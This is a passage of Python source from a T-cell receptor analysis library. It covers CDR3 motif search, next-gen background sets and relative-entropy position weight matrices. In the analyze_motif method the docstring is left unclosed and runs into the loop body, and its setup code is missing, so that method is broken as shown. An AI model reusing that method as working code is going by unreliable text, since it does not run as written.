self._generate_all_neighbors()\n \n # 2020-05-20 MAJOR CHANGE\n # self._generate_ng_tcrs() - replaced w/ the following:\n if self.default_mode is True:\n # Default Behavior - use of the paths.py file to automatically lookup the background set.\n # This is rigid and requires the user to have installed the packages correctly. I suggests we\n # depreciate this method as soon a possible.\n ng_tcrs = dict()\n for chain in self.chains: \n next_gen_ref = self.generate_background_set(chain = chain,\n ng_log_path = paths.path_to_current_db_files(db_file = self.db_file),\n ng_log_file = 'new_nextgen_chains_{}_{}.tsv'.format(self.organism, chain) )\n ng_tcrs[chain] = next_gen_ref\n self.ng_tcrs = ng_tcrs\n else:\n self.ng_tcrs = dict()\n\n if self.default_mode is False:\n # DESCRIBE WHAT TO DO IN THE EVENT THAT default_mode is set to FALSE\n warnings.warn(\"\\nTCRSubset(default_mode = False) WAS INTITIALIZED IN NON-DEFAULT MODE\\n\"\\\n \"THIS IS ALLOWS THE USER TO PROVIDE THEIR OWN NEXT-GENERATION SEQUENCES AS A BACKGROUND SET\\n\"\\\n \"THESE FILES MUCH MATCH FORMAT (SEE: tcrdist/db/alphabeta_db.tsv_files/new_nextgen_chains_human_A.tsv)\\n\"\\\n \"v_reps j_reps cdr3 cdr3_nucseq\\n\"\\\n \"TRAV1-2*01 TRAJ33*01 CAVRDSNYQLIW tgtgctgtgagggatagcaactatcagttaatctgg\\n\"\\\n \"TRAV2*01 TRAJ9*01 CAVEDLDTGGFKTIF tgtgctgtggaggatctggatactggaggcttcaaaactatcttt\\n\"\\\n \"TRAV1-2*01 TRAJ33*01 CAASDSNYQLIW tgtgctgcgtcggatagcaactatcagttaatctgg\\n\"\\\n \"ts = TCRsubset(default_mode = False)\"\\\n \"ts.ng_tcrs = dict()\\n\"\\\n \"ts.ng_tcrs['B'] = ts.generate_background_set(chain = ['B'], ng_log_path = YOUR_PATH, ng_log_file = YOUR_NEXTGEN_FILE)\\n\"\\\n \"ts.ng_tcrs['A'] = ts.generate_background_set(chain = ['A'], ng_log_path = YOUR_PATH, ng_log_file = YOUR_NEXTGEN_FILE)\\n\"\\\n \"FOR EXAMPLE:\\n\"\\\n \"ts.ng_tcrs['B'] = ts.generate_background_set(chain = ['B'],\"\\\n \"ng_log_path = 'tcrdist/db/gammadelta_db.tsv_files',\"\\\n \"ng_log_file = 'new_nextgen_chains_human_B.tsv')\\n\" \\\n \"ts.ng_tcrs['A'] = ts.generate_background_set(chain = ['A'],\"\\\n \"ng_log_path = 'tcrdist/db/gammadelta_db.tsv_files',\"\\\n \"ng_log_file = 'new_nextgen_chains_human_A.tsv')\\n\" )\n \n # Validation\n #self._validate_all_dists_and_tcrs_match() # need to confirm that this is doing somethings\n \n def _add_dummy_columns(self, missing_chain = 'A', gdmode = False):\n \"\"\"\n It was to difficult to refactor code completely for single chain so we instead just make \n dummy values for the missing chain.\n \n Parameters\n ----------\n missing_chain : str\n 'A' or 'B' \n gdmode : bool\n if True, G and D genes are used to populate dummy columns of the clone_df\n \"\"\"\n \n if gdmode == True:\n # GAMMA/DELTA DUMMIES (TODO: betterPUT IN MORE REP a and nucseq representative)\n if missing_chain == 'A': # in gdmode gammma --> A \n self.clone_df = self.clone_df.assign(va_gene = \"TRGV1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(ja_gene = \"TRGJ1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(va_countreps=\"TRGV1*01\")\n self.clone_df = self.clone_df.assign(ja_countreps=\"TRGJ1*01\")\n self.clone_df = self.clone_df.assign(v_g_gene=\"TRGV1*01\")\n self.clone_df = self.clone_df.assign(j_g_gene=\"TRGJ1*01\")\n self.clone_df = self.clone_df.assign(cdr3_g_aa=\"CATWAKNYYKKLF\")\n self.clone_df = self.clone_df.assign(cdr3_g_nucseq=\"TGTGCCACCTGGGCTAAGAATTATTATAAGAAACTCTTT\")\n elif missing_chain == 'B': # in gdmode delta --> B \n self.clone_df = self.clone_df.assign(vb_gene = \"TRDV1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(jb_gene = \"TRDJ1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(vb_countreps = \"TRDV1*01\")\n self.clone_df = self.clone_df.assign(jb_countreps = \"TRDJ1*01\")\n self.clone_df = self.clone_df.assign(v_d_gene=\"TRDV1*01\")\n self.clone_df = self.clone_df.assign(j_d_gene=\"TRDJ1*01\")\n self.clone_df = self.clone_df.assign(cdr3_d_aa=\"CASSEGEAPLF\")\n self.clone_df = self.clone_df.assign(cdr3_d_nucseq=\"tgtgctagctccgagggggaggctccgcttttt\")\n # ALPHA/BETA DUMMIES\n else:\n if missing_chain == 'A':\n self.clone_df = self.clone_df.assign(va_gene = \"TRAV10*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(ja_gene = \"TRAJ11*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(va_countreps=\"TRAV10*01\")\n self.clone_df = self.clone_df.assign(ja_countreps=\"TRAJ11*01\")\n self.clone_df = self.clone_df.assign(v_a_gene=\"TRAV10*01\")\n self.clone_df = self.clone_df.assign(j_a_gene=\"TRAJ11*01\")\n self.clone_df = self.clone_df.assign(cdr3_a_aa=\"CALGSGGNYKPTF\")\n self.clone_df = self.clone_df.assign(cdr3_a_nucseq=\"tgtgctctgggttcaggaggaaactacaaacctacgttt\")\n elif missing_chain == 'B':\n self.clone_df = self.clone_df.assign(vb_gene = \"TRBV1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(jb_gene = \"TRBJ1-1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(vb_countreps = \"TRBV1*01\")\n self.clone_df = self.clone_df.assign(jb_countreps = \"TRBJ1-1*01\")\n self.clone_df = self.clone_df.assign(v_b_gene=\"TRBV1*01\")\n self.clone_df = self.clone_df.assign(j_b_gene=\"TRBJ1-1*01\")\n self.clone_df = self.clone_df.assign(cdr3_b_aa=\"CASSEGEAPLF\")\n self.clone_df = self.clone_df.assign(cdr3_b_nucseq=\"tgtgctagctccgagggggaggctccgcttttt\")\n else:\n raise ValueError(\"'missing_chain' arg must be 'A','B'\") \n \n\n def tcr_motif_clones_df(self, gdmode = False):\n \"\"\"\n Use this function to create a clones_df input appropriate to TCRMotif.\n\n It make use of a mapper to ensure proper columns and column names\n\n Example\n -------\n TCRMotif(clones_df = TCRSubset.tcr_motif_clones_df())\n \"\"\"\n if gdmode == True:\n return mappers.generic_pandas_mapper(self.clone_df,\n mappers.TCRsubset_clone_df_to_TCRMotif_clone_df_gd_red, allow_missing = True)\n else:\n return mappers.generic_pandas_mapper(self.clone_df,\n mappers.TCRsubset_clone_df_to_TCRMotif_clone_df, allow_missing = True)\n \n\n\n def find_motif(self):\n \"\"\"\n Create a TCRMotif_instance using subset organism, chains, and epitopes.\n runs TCRMotif.find_cdr3_motifs. Warning this can take 5-10 minutes per chain.\n\n Returns\n -------\n motif_df : DataFrame\n \"\"\"\n if self.default_mode:\n TCRMotif_instance = TCRMotif( clones_df = self.tcr_motif_clones_df(gdmode = self.gamma_delta_mode),\n organism = self.organism,\n chains = self.chains,\n epitopes = self.epitopes,\n db_file = self.db_file, default_mode = True)#\"gammadelta_db.tsv\")\n \n #print(TCRMotif_instance.clones_df)\n warnings.warn(\"SEARCHING FOR MOTIFS, THIS CAN TAKE 5-10 minutes\")\n TCRMotif_instance.find_cdr3_motifs()\n motif_df = TCRMotif_instance.motif_df.copy()\n self.motif_df = motif_df\n return motif_df\n \n else:\n TCRMotif_instance = TCRMotif( clones_df = self.tcr_motif_clones_df(gdmode = self.gamma_delta_mode),\n organism = self.organism,\n chains = self.chains,\n epitopes = self.epitopes,\n db_file = self.db_file, \n default_mode = False)\n warnings.warn(\"PASSING TCRsubset.ng_tcrs to TCRMotif.ng_tcrs\") \n TCRMotif_instance.ng_tcrs = self.ng_tcrs\n for chain in self.chains:\n ks = \",\".join(list(self.ng_tcrs[chain].keys()))\n warnings.warn(f'\\nLoading CUSTOM Next-Gen Background chain {chain} Examples with .ng_tcrs: {ks}\\n\\n')\n warnings.warn(\"SEARCHING FOR MOTIFS, THIS CAN TAKE 5-10 minutes\")\n TCRMotif_instance.find_cdr3_motifs()\n motif_df = TCRMotif_instance.motif_df.copy()\n self.motif_df = motif_df\n return motif_df\n \n\n\n def loop_through_motifs(self):\n \"\"\"\n NOT READY BUT WILL USE TO LOOP THROUGH\n \"\"\"\n if motif_df is None:\n motif_df = self.motif_df\n if motif_df is None:\n raise ValueError(\"TCRsubest.motif_df DataFrame is empty. Load one or try TCRsubest.motif_df.find_motif()\")\n pass\n svg_list = []\n for i,row in motif_df.iterrows():\n StoreIOMotif_instance = StoreIOMotif(**row)\n self.analyze_motif(s = StoreIOMotif_instance)\n self.analyze_matches(s = StoreIOMotif_instance)\n svg = plot_pwm(StoreIOMotif_instance, create_file = False, my_height = 200, my_width = 600)\n svg_list.append(svg)\n return svg_list\n\n def eval_motif(self, row):\n \"\"\"\n eval motif wraps functions for evaluating a row of the motif_df DataFrame\n\n row : OrderedDict\n from a row of motif_df\n i = 0; row = tm.motif_df.iloc[i,:].to_dict()\n\n Returns\n -------\n StoreIOMotif_instance : StoreIOMotif\n\n Raises\n ------\n TypeError\n if row variables cannot be coerced to correct types\n (see: StoreIOMotif_instance._coerce_attrs() )\n\n Notes\n -----\n The steps shown above are:\n\n 1. Initialize instance of the information carrier class StoreIOMotif\n 2. Analyze_motif (ts.analyze_motif) to determine matches and neighbors\n of matches, with new attributes are appended to the StoreIOMotifinstance.\n 3. Analyze matches (ts.analyze_matches) to identify the the relative\n entropy between position wise matrices\n \"\"\"\n # 1\n StoreIOMotif_instance = StoreIOMotif(**row)\n StoreIOMotif_instance._coerce_attrs()\n assert StoreIOMotif_instance._validate_attrs()\n # 2\n self.analyze_motif(s = StoreIOMotif_instance)\n # 3\n self.analyze_matches(s = StoreIOMotif_instance)\n return StoreIOMotif_instance\n\n\n def _load_motifs_from_file(self):\n #motif_fn = 'mouse_pairseqs_v1_parsed_seqs_probs_mq20_clones_cdr3_motifs_PA.log'\n #motif_fh =open(motif_fn, 'r')\n pass\n\n\n def _load_motifs_from_dataframe(self):\n pass\n\n\n def analyze_motif(self, s, tcrs = None, all_neighbors = None):\n \"\"\"\n Parameters\n ----------\n s : tcrdist.storage.StoreIOMotif\n StoreIOMotif instance\n tcrs : dict\n if omitted, default is to self.tcrs\n all_neighbors : dict\n if omitted, default is to self.all_neighbors\n Returns\n -------\n s : tcrdist.storage.StoreIOMotif\n StoreIOMotif instance with new attributes added\n Notes\n -----\n The primary function of this script is to add the following attributes\n to a StoreIOMotif instance:\n s.showmotif\n s.vl_nbr\n s.jl_nbr\n s.vl\n s.jl\n s.matches - tcrs that perfectly match regex\n s.nbr_matches - tcr hat perfectly match regex + neigbors\n (tcrdist are all epitope-specific tcrs, we search them all\n for ii, tcr in enumerate( tcrs ):\n # select the cdr3 (e.g., CAMRGNSGGSNYKLTF) and cdr3_nucseq_src ('V', 'V', ..., 'J, 'J')\n # TODO : GENERALIZE THIS SO THAT IT DOES NOT SEARCH FOR \"A\"\n if ab in [\"A\",\"G\"]:\n cdr3,cdr3_nucseq_src = tcr[4], tcr[10]\n else:\n cdr3,cdr3_nucseq_src = tcr[5], tcr[11]\n\n # search for the motif re in each cdr3\n m = prog.search(cdr3)\n # if found\n if m:\n # < mseq : str > portion of the cdr3 amino acid that matches regex pattern\n mseq = cdr3[ m.start():m.end() ]\n # < nseq : str > source (V, N, or J ) of the cdr3 nucleotide that matches the regex pattern\n nseq_src = cdr3_nucseq_src[ 3*m.start():3*m.end() ]\n # < positions : range >\n positions = range(m.start(),m.end())\n # < rpositions > reverse position relative to the cdr3 end\n rpositions = [len(cdr3)-1-x for x in positions]\n # < matches : list > outside the loop contains mseq,nseq,positions,rpositions\n matches.append( (mseq,nseq_src,positions,rpositions) )\n # < matched_tcrs: list > outside the loop contains the index number of the matching tcr\n matched_tcrs.append( ii )\n\n # < all_neighbors > in same order as tcrs\n for nbr in all_neighbors[ab][ii]:\n if nbr not in matched_tcrs_plus_nbrs:\n # < nbr_tcr > neighbor to a perfect match pulled from < tcr >\n nbr_tcr = tcrs[nbr]\n if ab in ['A',\"G\"]:\n nbr_cdr3, nbr_cdr3_nucseq_src = nbr_tcr[4], nbr_tcr[10]\n else:\n nbr_cdr3, nbr_cdr3_nucseq_src = nbr_tcr[5], nbr_tcr[11]\n # !! only if nbr and principal cdr3 are same length will they be included\n if len(nbr_cdr3) == len(cdr3):\n matched_tcrs_plus_nbrs.append( nbr )\n nbr_mseq = nbr_cdr3[ m.start():m.end() ]\n nbr_nseq = nbr_cdr3_nucseq_src[ 3*m.start():3*m.end() ]\n nbr_matches.append( (nbr_mseq,nbr_nseq,positions,rpositions) )\n\n\n total += 1\n\n vl_nbr, jl_nbr = self._get_counts_lists_from_tcr_indices(matched_tcrs_plus_nbrs, ab)\n vl, jl = self._get_counts_lists_from_tcr_indices(matched_tcrs, ab)\n\n # send outputs back to input object IO\n s.showmotif = showmotif # now returned as a list\n s.vl_nbr = vl_nbr\n s.jl_nbr = jl_nbr\n s.vl = vl\n s.jl = jl\n s.matches = matches\n s.nbr_matches = nbr_matches\n s.matched_tcrs_plus_nbrs = matched_tcrs_plus_nbrs\n s.matched_tcrs = matched_tcrs\n return(s)\n\n\n def analyze_matches(self, s):\n \"\"\"\n Parameters\n ----------\n s : StorageIOMotif\n a StorageIOMotif without entropy information\n\n Returns\n -------\n s : StorageIOMotif\n Updated StorageIOMotif instance w/ entropy attribute\n which points to a StorageIOEntropy instance\n \"\"\"\n StorageIOEntropy_instance = self._analyze_matches_using_ngseqs(\n matches = s.nbr_matches ,\n matched_tcrs = s.matched_tcrs_plus_nbrs,\n ab = s.ab,\n epitope = s.ep,\n showmotif = s.showmotif,\n tcrs = self.tcrs,\n ng_tcrs = self.ng_tcrs,\n num_nextgen_samples = 100,\n junction_bars = True,\n junction_bars_order = {'B': ['V','N1','D',\n 'N2','J'],\n 'A': ['V','N','J'] },\n min_prob_for_relent_for_scaling = 1e-3,\n max_column_relent_for_scaling = 3.0)\n # Add storage_io_entropy_instance to storage_io_motif_instance\n s.entropy = StorageIOEntropy_instance\n return(s)\n\n\n def _generate_all_tcrs(self, gdmode = False):\n \"\"\"\n generates self.all_tcrs attribute\n\n Parameters\n ----------\n epitope : str\n\n See extensive documentation associated with:\n rmf._generate_tcrs_dict_from_clones_dataframe()\n\n \"\"\"\n if gdmode == True:\n clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_gd, allow_missing=True)\n else:\n clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping, allow_missing=True)\n\n\n # implement backwards mapping to names recognized by tcrdist motif routine\n \n\n # if \"A\" in self.chains and \"B\" in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping)\n\n # if \"A\" in self.chains and \"B\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_a)\n \n # if \"B\" in self.chains and \"A\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_b)\n\n # if \"G\" in self.chains and \"D\" in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_gd)\n\n # if \"G\" in self.chains and \"D\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_g)\n # if \"D\" in self.chains and \"G\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_d)\n\n # *_ dumps the 2nd and 3rd parts of the tuple,\n all_tcrs, all_rep2label_rep, all_rep2label_rep_color =\\\n rmf._generate_tcrs_dict_from_clones_dataframe(clone_df,\n epitopes = self.epitopes,\n organism = self.organism,\n return_as_tuple = True,\n all_genes = self.all_genes )\n self.all_tcrs = all_tcrs\n self.all_rep2label_rep = all_rep2label_rep\n self.all_rep2label_rep_color = all_rep2label_rep_color\n\n return all_tcrs\n\n def _generate_tcrs(self, epitope, gdmode = False):\n \"\"\"\n generates self.tcrs attribute\n\n Parameters\n ----------\n epitope : str\n\n See extensive documentation associated with:\n rmf._generate_tcrs_dict_from_clones_dataframe()\n\n \"\"\"\n\n tcrs = self._generate_all_tcrs(gdmode = gdmode)[epitope]\n\n self.tcrs = tcrs\n # these were stored_when running _generate_all_tcrs\n self.rep2label_rep = self.all_rep2label_rep[epitope]\n self.rep2label_rep_color = self.all_rep2label_rep_color[epitope]\n\n return tcrs\n\n def _generate_all_neighbors(self, nbr_dist = None):\n \"\"\"\n generates self.all_neighbors attribute, using rmf.generate_all_nbr_from_dataframe\n\n Returns\n -------\n all_neighbors : dict\n dictionary keyed on chain (e.g., 'A', 'B'),\n containing list of lists for each position i in the list,\n the ith list contains the index position of the tcrs\n within (nbr_dist) distance from the ith tcr\n\n Assigns\n -------\n self.all_neighbors\n dictionary keyed on chain (e.g., 'A', 'B'),\n containing list of lists for each position i in the list,\n the ith list contains the index position of the tcrs\n within (nbr_dist) distance from the ith tcr\n\n Raises\n ------\n OSError if a required dist_x is not loaded in self\n\n AssertionError if length of all_nbr does not equal the\n row or column dimension of distance matrix.\n\n Notes\n -----\n rmf module refers to read_motif functions, re-factored from tcrdist1\n\n \"\"\"\n if nbr_dist is None:\n nbr_dist = self.nbr_dist\n\n all_neighbors = {chain: None for chain in self.chains}\n\n for chain in self.chains:\n\n # converts chain letter 'X' to 'dist_x'\n dist_name = self.chain_to_dist[chain]\n\n # gets distance matrix matching chain\n if getattr(self, dist_name) is not None:\n dist_df = getattr(self, dist_name)\n else:\n raise OSError(\"{} not loaded\".format(dist_name))\n\n # produces list of lists [[],[],...], length must equal dimensions of dist_df\n all_nbr = rmf.generate_all_nbr_from_dataframe(dist_df = dist_df, nbr_distance = nbr_dist)\n\n assert len(all_nbr) == dist_df.shape[0]\n assert len(all_nbr) == dist_df.shape[1]\n\n all_neighbors[chain] = all_nbr\n\n self.all_neighbors = all_neighbors\n return all_neighbors\n \n # def _generate_custom_ng_tcrs(self, path, db_file):\n # self.ng_tcrs = rmf._generate_read_motif_ng_tcrs_dict(chains = self.chains, organism = self.organism)\n \n def _generate_ng_tcrs(self):\n warnings.warn(f\"GENERATING READ MOTIF NG TCRS DICT WITH {self.db_file}\\n\")\n warnings.warn(f\"USING SELF.ALL_GENES\\n\")\n self.ng_tcrs = rmf._generate_read_motif_ng_tcrs_dict(chains = self.chains, organism = self.organism, db_file = self.db_file, all_genes = self.all_genes)\n\n def _validate_chains(self):\n \"\"\"\n Check that chains are a valid selection\n \"\"\"\n valid_chains = [\"A\",\"B\",\"G\",\"D\"]\n for chain in self.chains:\n if chain not in valid_chains:\n raise ValueError('chains must be one of [\"A\",\"B\",\"G\",\"D\"]')\n\n def _validate_organism(self):\n \"\"\"\n check that organism is valid string\n \"\"\"\n valid_organisms = [\"mouse\", \"human\"]\n if self.organism not in valid_organisms:\n raise ValueError('organism must be one of [\"mouse\", \"human\"]')\n\n def _validate_all_dists_and_tcrs_match(self):\n \"\"\"\n Checks that all chains in self.chains\n that the order of the distance matrices and\n tcrs list attribute match perfectly\n \"\"\"\n\n for chain in self.chains:\n d = self.chain_to_dist[chain]\n self._validate_dist_and_tcrs_match(d)\n\n def _validate_dist_and_tcrs_match(self, dist):\n \"\"\"\n Checks for a given chain distance DataFrame\n that the order of the distance matrix and\n tcrs list attribute match perfectly\n \"\"\"\n if getattr(self, dist) is not None:\n x = getattr(self, dist)\n else:\n raise OSError(\"{} not loaded\".format(dist))\n if not isinstance(x, pd.DataFrame):\n raise TypeError(\"distances must be DataFrames in TCRsubset\")\n\n dist_order_row = x.index\n dist_order_col = x.columns\n\n tcrs_order = [x[-1]['clone_id'] for x in self.tcrs]\n\n if not np.all(dist_order_row == dist_order_col ):\n raise ValueError(\"index and columns must match for {}\".format(dist))\n if not np.all(dist_order_row == tcrs_order ):\n raise ValueError(\"dist order and tcrs order must match\")\n\n def _analyze_matches_using_ngseqs(self,\n matches,\n matched_tcrs,\n ab,\n epitope,\n showmotif,\n tcrs,\n ng_tcrs,\n num_nextgen_samples = 100,\n junction_bars = True,\n junction_bars_order = { 'B': ['V','N1','D','N2','J'], 'A': ['V','N','J'] },\n min_prob_for_relent_for_scaling = 1e-3,\n max_column_relent_for_scaling = 3.0):\n \"\"\"\n Analyzes the motif matching sequences and compares them to reference nextgen\n sequences to discover (relative entropy) how the positive wise frequency\n distribtion of the motif is different from a reference probability\n distribution comprised of CDR3s from the same VJ-gene usage.\n\n Refer Questions about the Algorithm to Phil Bradley.\n\n Parameters\n ----------\n matches : list\n list containing motif matches [((mseq,nseq_src,positions,rpositions)), ]\n mseq : e.g., CALGGGSN\n nseq_src : e.g.,['V', 'V', 'V', 'V', ..., 'N', 'N', 'N', 'N', 'N', 'J', 'J', 'J', 'J', 'J', 'J']\n positions : range(0, 8),\n rpositions : [12, 11, 10, 9, 8, 7, 6, 5]\n matched_tcrs : list\n list [16, 49, 92, 112,...] index of those tcrs\n ab : str\n indicates chain\n epitope : str\n\n showmotif : list\n\n tcrs : list\n list of tcr information\n ng_tcrs : dict\n dict of form {chain:{v:{j:[]}}}\n num_nextgen_samples\n\n junction_bars : bool\n\n min_prob_for_relent_for_scaling : float\n\n max_column_relent_for_scaling : float\n\n Returns\n -------\n [dict, dict, dict, dict, dict, dict, dict, dict, list, list, int, int]\n pwm : dict\n npwm : dict\n ng_lenpwm : dict\n ng_fwdpwm : dict,\n ng_revpwm : dict\n fwdpwm : dict\n revpwm : dict\n scale_by_relent : dict\n ng_fwdseq_reps, : list\n ng_lenseq_reps : list\n len( ng_lenseqs ) : int\n len( ng_fwdseqs ) : int\n\n Notes\n -----\n\n TODO: Finish a complete explanation of what the heck is going on here\n\n 1. given a motif - ^.ALGaGaN (read in from from the motif_file)\n\n 2. a regex motif - ^[A-Z]ALG[AGSP]G[AGSP]N is generated to be permissive in lowercase position)\n\n 3. < matches > contains information on those tcrs that were recognized by the regex motif\n\n 4. < matched tcrs > contains index position of the those matches\n \"\"\"\n ng_lenseqs = []\n ng_fwdseqs = []\n ng_revseqs = []\n\n ng_fwdseq_reps = []\n ng_lenseq_reps = []\n matched_reps = []\n\n seen = set() ## no repeats of ngseqs\n seen_samelen = set() ## no repeats of ngseqs\n\n for (mseq,nseq,positions,rpositions),ii in zip( matches, matched_tcrs ):\n tcr = tcrs[ii]\n if ab == 'A':\n my_cdr3,vrep,jrep = tcr[4:5]+tcr[6: 8]\n else:\n my_cdr3,vrep,jrep = tcr[5:6]+tcr[8:10]\n matched_reps.append( ( vrep, jrep ) )\n\n mylen = len(my_cdr3)\n if vrep in ng_tcrs[ab] and jrep in ng_tcrs[ab][vrep]:\n ngl = [ x for x in ng_tcrs[ab][vrep][jrep] if x not in seen ]\n if not ngl:\n pass\n #print('empty ngl!')\n\n for ngseq in random.sample( ngl, min(num_nextgen_samples,len(ngl)) ):\n seen.add(ngseq)\n (cdr3,cdr3_nucseq) = ngseq\n L = len(cdr3)\n fseq = ''\n rseq = ''\n for pos in positions:\n if pos>=L:\n fseq += '-'\n else:\n fseq += cdr3[pos]\n for pos in rpositions:\n if pos>=L:\n rseq += '-'\n else:\n rseq += cdr3[L-1-pos]\n ng_fwdseqs.append(fseq)\n ng_revseqs.append(rseq)\n ng_fwdseq_reps.append( ( vrep, jrep ) )\n\n ## cdr3s with the same length\n ngl_samelen = [ x for x in ng_tcrs[ab][vrep][jrep] if len(x[0]) == mylen and x not in seen_samelen ]\n if not ngl_samelen:\n pass\n #print('empty ngl_samelen!')\n for ngseq in random.sample( ngl_samelen, min(num_nextgen_samples,len(ngl_samelen))):\n seen_samelen.add( ngseq )\n cdr3 = ngseq[0]\n ng_lenseqs.append( ''.join( [ cdr3[x] for x in positions ] ) )\n ng_lenseq_reps.append( ( vrep, jrep ) )\n\n pwm = logo_tools.create_protein_pwm_from_sequences( [x[0] for x in matches ])\n\n npwm_alphabet = junction_bars_order[ab] if junction_bars else ['V','N','D','J']\n npwm = logo_tools.create_pwm_from_sequences( [x[1] for x in matches ], npwm_alphabet )\n\n #nbr_pwm = logo_tools.create_protein_pwm_from_sequences( [x[0] for x in nbr_matches ])\n #nbr_npwm = logo_tools.create_pwm_from_sequences( [x[1] for x in nbr_matches ], ['V','D','J','N'] )\n\n if ng_lenseqs:\n ng_lenpwm = self.create_wtd_pwm_from_sequences( ng_lenseqs, amino_acids.amino_acids+['-'], matched_reps, ng_lenseq_reps )\n else:\n ng_lenpwm = 0\n\n ng_fwdpwm = self.create_wtd_pwm_from_sequences( ng_fwdseqs, amino_acids.amino_acids+['-'], matched_reps, ng_fwdseq_reps )\n ng_revpwm = self.create_wtd_pwm_from_sequences( ng_revseqs, amino_acids.amino_acids+['-'], matched_reps, ng_fwdseq_reps )\n\n N = len(pwm)\n fwdpwm = {}\n revpwm = {}\n for i in range(N):\n fwdpwm[i] = {}\n revpwm[i] = {}\n incrememnt = 1.0/len(matches)\n for pos in [x[2][i] for x in matches]:\n fwdpwm[i]['pos'] = fwdpwm[i].get('pos',0)+incrememnt\n for pos in [x[3][i] for x in matches]:\n revpwm[i]['pos'] = revpwm[i].get('pos',0)+incrememnt\n\n ## look at relative entropies between nbrpwm and the fwd and rev pwms\n ## not nbr anymore since this is a subroutine\n ##\n scale_by_relent = {}\n for i in range(N):\n relents=[]\n for control_pwm in [ ng_fwdpwm[i], ng_revpwm[i] ]:\n relent = 0.0\n for a,pa in pwm[i].items():\n if pa>= min_prob_for_relent_for_scaling:\n qa = max(min_prob_for_relent_for_scaling, control_pwm.get(a,min_prob_for_relent_for_scaling))\n paqa = np.log2(pa/qa)\n relent += pa * paqa\n relents.append( relent )\n scale_by_relent[i] = max(0.,min(1., min(relents)/max_column_relent_for_scaling) )\n print('RE {:2d} {:5.2f} {:5.2f} {:5.2f} {} {} {}'.format( i, min(relents), relents[0], relents[1], ab, epitope, ''.join(showmotif) ))\n\n result_analyze_matches = (pwm, npwm, ng_lenpwm, ng_fwdpwm, ng_revpwm,\\\n fwdpwm, revpwm, scale_by_relent, ng_fwdseq_reps,\\\n ng_lenseq_reps, len( ng_lenseqs ), len( ng_fwdseqs))\n\n # result_analyze_matches is messy tuple containing\n # ([dict, dict, dict, dict, dict, dict, dict, dict, list, list, int, int])\n # So First, check that types are correct\n for i,t in enumerate([dict, dict, dict, dict, dict, dict, dict, dict, list, list, int, int]):\n assert isinstance(result_analyze_matches[i], t)\n field_names = [\"pwm\", \"npwm\", \"ng_lenpwm\", \"ng_fwdpwm\", \"ng_revpwm\", \"fwdpwm\",\n \"revpwm\", \"scale_by_relent\", \"ng_fwdseq_reps\", \"ng_lenseq_reps\",\n \"num_ng_lenseqs\", \"num_ng_fwdseqs\"]\n ES = namedtuple('ES', field_names)\n # Use namedtuple as an efficient way to drop tuple outputs\n # into a ordered dictionary\n result_analyze_matches_dict = ES(*result_analyze_matches)._asdict()\n # Now We Return Result in a Tidy Object: a StoreIOEntropy instance\n store_io_entropy = StoreIOEntropy(**result_analyze_matches_dict)\n return(store_io_entropy)\n\n\n def create_wtd_pwm_from_sequences(self, seqs, alphabet, target_reps, reps ):\n assert len(seqs) == len(reps)\n num_target_reps = len(target_reps)\n\n for bigrepeat in range(10):\n reppair_wts = {}\n if bigrepeat==0:\n for rp in reps:\n reppair_wts[rp] = 1.0 ## starting guess\n else:\n for rp in reps:\n reppair_wts[rp] = 0.75 + 0.5 * random.random() ## starting guess\n\n prev_dev = 1e6\n for repeat in range(100):\n\n ## what's the deviation\n dev = 0.0\n for ii in range(2):\n ii_target_reps = [x[ii] for x in target_reps]\n ii_reps = [x[ii] for x in reps]\n\n scale_factor = float( len(reps ) )/ len(target_reps)\n\n counts = {}\n for rp in reps:\n counts[rp[ii]] = counts.get(rp[ii],0) + reppair_wts[rp]\n\n for rep,count in counts.items():\n desired_count = scale_factor * ii_target_reps.count(rep)\n dev += abs( desired_count - count )\n fac = float(desired_count)/count\n adjust = fac**(0.25)\n\n #print 'desired_count:',desired_count,'count:',count,'fac:',fac,'adjust:',adjust,rep\n\n for rp in reppair_wts:\n if rp[ii] == rep:\n reppair_wts[rp] *= adjust\n #print 'repeat:',repeat,'dev:',dev\n if abs(prev_dev-dev)<1e-3 and dev<1e-1:\n #if abs(dev)<1e-1:\n break\n prev_dev = dev\n\n #print 'final_dev:', bigrepeat,dev\n if dev<1e-1:\n break\n\n\n L = len(seqs[0])\n pwm = {}\n for i in range(L):\n pwm[i] = dict(zip(alphabet,[0.0]*len(alphabet)))\n\n for seq,rp in zip( seqs, reps ):\n assert len(seq) == L\n seqwt = reppair_wts[ rp ]\n #print seq, rp, seqwt\n for i,a in enumerate(seq):\n pwm[i][a] += seqwt\n\n for i in range(L):\n tot = sum( pwm[i].values() )\n for a in alphabet:\n pwm[i][a] /= tot\n return pwm\n\n\n def _generate_vl_jl(self, chain):\n \"\"\"\n Parameters\n ----------\n chain : str\n\n Returns\n -------\n\n \"\"\"\n self.vl_nbr, self.jl_nbr = self._get_counts_lists_from_tcr_indices(self.matched_tcrs_plus_nbrs, chain)\n self.vl, self.jl = self._get_counts_lists_from_tcr_indices(self.matched_tcrs, chain)\n\n\n def _get_counts_lists_from_tcr_indices(self, indices, chain):\n vcounts = {}\n jcounts = {}\n for ii in indices:\n tcr = self.tcrs[ii]\n if chain in ['A',\"G\"]:\n vrep,jrep = tcr[6: 8]\n else:\n 